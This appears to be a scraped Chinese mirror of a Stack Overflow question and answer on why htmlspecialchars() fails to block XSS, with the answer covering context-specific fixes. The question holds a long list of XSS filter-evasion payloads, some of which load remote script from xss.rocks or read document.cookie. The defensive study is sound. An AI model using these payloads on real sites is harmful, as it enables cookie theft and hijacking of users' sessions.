- html - 出于某种原因,IE8 对我的 Sass 文件中继承的 html5 CSS 不友好?
- JMeter 在响应断言中使用 span 标签的问题
- html - 在 :hover and :active? 上具有不同效果的 CSS 动画
- html - 相对于居中的 html 内容固定的 CSS 重复背景?
", "javascript:alert(-6ren">
嗨,我正在尝试过滤那些会输入自由文本并希望防止 XSS 攻击的用户的输出,因此我尝试了这个功能来检查
<?php
$patterns = [
"<SCRIPT SRC=http://xss.rocks/xss.js></SCRIPT>",
"javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/\"/+/onmouseover=1/+/[*/[]/+alert(1)//'>",
"javascript:alert('XSS');",
"JaVaScRiPt:alert('XSS')",
"javascript:alert("XSS")",
"javascript:alert(\"RSnake says, 'XSS'\")",
"\<a onmouseover=\"alert(document.cookie)\"\>xxs link\</a\>",
"\<a onmouseover=alert(document.cookie)\>xxs link\</a\>",
"<IMG \"\"\"><SCRIPT>alert(\"XSS\")</SCRIPT>\"\>",
"javascript:alert(String.fromCharCode(88,83,83))",
"# onmouseover=\"alert('xxs')\"",
" onmouseover=\"alert('xxs')\"",
"x onerror=\"javascript:alert('XSS')\"",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"javascript:alert('XSS')",
"jav ascript:alert('XSS');",
"jav	ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"jav
ascript:alert('XSS');",
"<IMG SRC=java\0script:alert(\"XSS\")>",
"  javascript:alert('XSS');",
"<SCRIPT/XSS SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(\"XSS\")>",
"<SCRIPT/SRC=\"http://xss.rocks/xss.js\"></SCRIPT>",
"<<SCRIPT>alert(\"XSS\");//\<</SCRIPT>",
"<SCRIPT SRC=http://xss.rocks/xss.js?< B >",
"<SCRIPT SRC=//xss.rocks/.j>",
"`<javascript:alert>`('XSS')",
"http://xss.rocks/scriptlet.html <",
'http://xss.rocks/xss.js',
'http://xss.rocks/xss.js, http://xss.rocks/xss.js, http://xss.rocks/xss.js',
"<script>alert('XSS')<script/>"
];
foreach ($patterns as $pattern) {
$pattern = htmlspecialchars(htmlspecialchars($pattern));
?>
<iframe src="<?php echo $pattern; ?>"></iframe>
<iframe src="<?php echo $pattern; ?>" sandbox="allow-scripts"></iframe>
<img src="<?php echo $pattern; ?>">
<a href="<?php echo $pattern; ?>">Anchor</a>
<?php } ?>
我用过htmlspecialchars(htmlspecialchars($pattern))
对任何 <
进行编码或>
但它似乎并不能阻止攻击
和iframe
没有allow-script
始终在打开后立即运行脚本
我想知道如何彻底清理输入以完全防止这种攻击
我只期望网址,当单击第二个链接时,它也会运行脚本
最佳答案
您无法使用 htmlspecialchars
清除所有类型的 XSS 。 htmlspecialchars
可以帮助您防范 HTML 标签内的 XSS 或某些引用的 HTML 属性。
您必须使用不同类型的 XSS 各自的清理方法来清理它们。
<p><?php echo $user_entered_variable; ?></p>
攻击向量: <script>alert(1)</script>
这种类型的 XSS 可以使用 htmlspecialchars
进行清理函数,因为攻击者需要使用 <
和>
创建新的 HTML 标记。
解决方案:
<p><?php echo htmlspecialchars($user_entered_variable); ?></p>
<img title='<?php echo htmlspecialchars($user_entered_variable);?>'/>
攻击向量: ' onload='alert(1)' '
htmlspecialchars
不会对单引号 '
进行编码默认情况下。您必须使用 ENT_QUOTES
打开它选项。
解决方案:
<img title='<?php echo htmlspecialchars($user_entered_variable,ENT_QUOTES);?>'/>
src
, href
, formaction
, ...
<iframe src="<?php echo htmlspecialchars($user_entered_variable); ?>"></iframe>
<img src="<?php echo htmlspecialchars($user_entered_variable); ?>">
<a href="<?php echo htmlspecialchars($user_entered_variable); ?>">Link</a>
<script>function openLink(link){window.open(link);}</script>
<button onclick="openLink('<?php echo htmlspecialchars($user_entered_variable); ?>')">JavaScript Window XSS</button>
攻击向量: javascript:alert(1)
, javscript://alert(1)
此函数不会阻止这些向量,因为它们没有任何 HTML 特殊字符。为了防止此类攻击,您需要验证 URL 形式的输入。
解决方案:
<?php
$user_entered_variable = htmlspecialchars($user_entered_variable);
$isValidURL = filter_var($user_entered_variable, FILTER_VALIDATE_URL) !== false;
if(!$isValidURL)
$user_entered_variable = 'invalid://invalid';
?>
<iframe src="<?php echo $user_entered_variable; ?>"></iframe>
<img src="<?php echo $user_entered_variable; ?>">
<a href="<?php echo $user_entered_variable; ?>">Link</a>
<script>function openLink(link){window.open(link);}</script>
<button onclick="openLink('<?php echo $user_entered_variable; ?>')">JavaScript Window XSS</button>
<script>
var inputNumber = <?php echo $user_entered_variable; ?>
</script>
攻击向量: 1;alert(1)
在某些情况下,我们可以轻松地引用输入并通过使用htmlspecialchars
对其进行清理来防止攻击但如果我们需要输入为整数,我们可以通过使用输入验证来防止 XSS。
解决方案:
<script>
var inputNumber = <?php echo intval($user_entered_variable); ?>
</script>
当变量放置在 HTML 属性中时,始终引用变量并进行适当的清理。
关于php - 尽管 htmlspecialchars() 发挥作用,XSS 攻击仍然有效,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/72080895/
服务器XSS的区别有什么明确的解释和客户端 XSS? 我阅读了 OWASP 网站上的解释,但对我来说不是很清楚。我知道反射、存储的 DOM 类型。 最佳答案 首先,为了让其他人发现问题,我们从 OWA
我在考虑我的应用程序的 XSS 漏洞。在服务器端,我不清理输入或输出,所以 alert(document.cookies) 完全如此存储在数据库中。要在客户端查看此值,我使用 Mustache。如果这
我无法理解存储的 xss 和反射的 xss 之间的区别是什么。你能举个例子告诉我吗? 最佳答案 存储型 XSS 意味着一些 坚持数据(通常存储在数据库中)未在页面中进行清理,这意味着每个人都可能受到该
Cross-site scripting (XSS) is a type of computer security vulnerability typically found in web appli
有人可以用简单的英语解释 XSS 是如何工作的吗?也许举个例子。谷歌搜索没有多大帮助。 最佳答案 跨站点脚本基本上是动态网页的安全漏洞,攻击者可以创建恶意链接将不需要的可执行 JavaScript 注
站点的本地存储值可以被xss(跨站点脚本)覆盖吗?据我在 Chrome 和 Firefox 中验证,一个站点的 localstorage 值不能被其他站点访问。谁能告诉我 localstorage 值
据我了解,我需要在 header 服务器端禁用 X-XSS-Protection,以防止通过 GET 请求发生 XSS。 例如,用户浏览到 http://mysite.com/index.php?pa
在 OWASP XSS prevention cheat sheet它表示无法将不受信任的数据安全地放入 .setinterval JS 函数中。即使被转义/编码,XSS 仍然是可能的。 但如果我有这
我正在创建一个网页,用户可以在其中交互并在远程计算机上执行基本的文件系统操作(创建文件/目录、删除文件/目录、导航文件系统)。 该网页是基本的 HTML(UTF-8 编码)和 Javascript。我
可能是简单的解决方案,但我不明白为什么我尝试通过索引页面上的 XSS 输入在我的欢迎页面上运行此警报脚本不起作用。 我有一个带有表单的简单 index.htm 页面:
好的,所以我一直在阅读关于此处和其他地方的 Markdown ,并且用户输入和数据库之间的步骤通常被给出为 将 markdown 转换为 html 清理 html(带白名单) 插入数据库 但对我来说,
我最近发现 this blog entry在将 XSS 攻击直接写入数据库的工具上。它看起来是一种非常好的方法来扫描应用程序以查找我的应用程序中的弱点。 我尝试在 Mono 上运行它,因为我的开发平台
我正在经历一场无情的 XSS 攻击,但我似乎无法阻止。我的网站上共有三个输入表单 - 一个用于上传图像,一个用于向页面添加评论,第三个用于通过 php 发送电子邮件。我以一种或另一种方式保护它们所有人
我正在寻找有关 Qooxdoo 安全性的信息。 我想检查我的应用程序 vs OWASP top 10 需要审查的一点是 XSS OWASP A3 XSS 我如何确定 Qooxdoo 是安全的,可以抵御
我的网站遭受了多次 XSS 攻击。以下 HTML 片段是攻击者注入(inject)的 XSS 向量: 看起来脚本不应该执行,但是使用 IE9 的开发工具,我能够看到浏览器将 HTML 转换为以
CaSTLe Project 功能丰富,包括一些很棒的子项目,使用它进行开发是一种乐趣。 我的团队几乎准备好交付定制的 EAM我们正在完善我们的系统。我们尝试了一些基本的 XSS 攻击并猜测:它们都有
通过简单地转换以下(“大 5”): & -> & < > -> > " -> " ' -> ' 你会阻止 XSS 攻击吗? 我认为您也需要在字符级别上列入白名
我正在使用 ASP.NET 并且在 ASP.NET 页面上具有用于检查 XSS 验证的验证属性。但是我想知道这真的足够了吗? 我访问了一些关于 stackoverflow 的相关帖子,这对我有帮助,但
我们正在使用 ASP.NET MVC 5.0 来构建一个网站。如果我在保存时输入一些 javascript 文本框,我会得到一个“检测到可能不安全的输入”错误页面 - 太好了。 然而,我们的一些屏幕使
持久性 XSS 和非持久性 XSS 之间的主要区别是什么? 最佳答案 顾名思义,持久型 XSS 和非持久型 XSS 的区别如下。 持久性 XSS 存储在 cookie 或服务器数据库中的 XSS。 聊
我是一名优秀的程序员,十分优秀!